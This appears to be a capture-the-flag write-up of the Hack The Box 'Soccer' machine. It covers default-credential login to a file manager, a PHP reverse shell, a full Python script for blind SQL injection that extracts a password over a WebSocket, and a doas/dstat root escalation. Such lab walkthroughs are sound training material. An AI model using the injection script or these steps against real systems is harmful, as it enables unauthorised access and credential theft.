Soccer - Hack The Box
Enumeration
Nmap
Initial nmap scan revealed ports 22,80,9091 are open.
WEB Enumeration
WEB requests was directed to soccer.htb so I added it to hosts file.
The directory brute force revealed tiny folder.
Inside there was a tiny file manager, which was configured with default credentails “admin:admin@123”. After logging in I learned the version of the tiny file manager.
Exploitation
Reverse Shell
I had write access to uploads folder, so I copied a php file to there and edited it. Then got a reverse shell as www-data.
Lateral Movement
Then tried many privilege escalation methods but got nothing. Later I checked /etc/hosts file and found out there was another subdomain.
SQL Injection
The new website had signup and sign-in function. After singing up, there was a check function. The check function was using web socket and it was vulnerable to sql injection.
At first I tried manually but it was taking too long. So I wanted to use sqlmap. I used this proxy tool to send sqlmap request to websocket.
But SQLmap was using time base sqli and it was really taking too long. I learned database name, table name and column names from sqlmap then I created this custom script:
#!/usr/bin/env python3
import websocket
import json
import sys
# Target WebSocket endpoint
WS_URL = "ws://soc-player.soccer.htb:9091"
chars = "abcdefghijklmnopqrstuvwxyz0123456789"
def send_payload():
try:
ws = websocket.create_connection(WS_URL)
print(f"[+] Connected to {WS_URL}")
password = ""
while True:
found = False
for i in chars:
message = json.dumps({"id": payload(password + i)})
print(f"[>] Sending: {message}")
ws.send(message)
response = ws.recv()
print(f"[<] Response: {response}")
if "Ticket Exists" in response:
password += i
print("[+] Password so far:", password)
found = True
break
if not found:
# No new character matched → stop
break
ws.close()
return password
except Exception as e:
print(f"[!] Error: {e}")
return None
def payload(prefix):
return f"1 UNION SELECT email,password,username FROM accounts WHERE username = 'player' AND password LIKE '{prefix}%'-- -"
if __name__ == "__main__":
result = send_payload()
if result:
print("\n[✓] Extracted password:", result)
else:
print("\n[!] Failed to extract password")
Running this revealed the password of the user “player”.
Got The User
Privilege Escalation
SUID Bit
Running SUID bit enumeration revealed the doas binary.
It was a binary similar to sudo. The manual page revealed some functionality and configuration.
Analyzing the configuration file revealed I can run dstat as root.
Then checked GTFOBin page of dstat and applied the steps to get a root shell.
Pwned
The machine was fully compromised.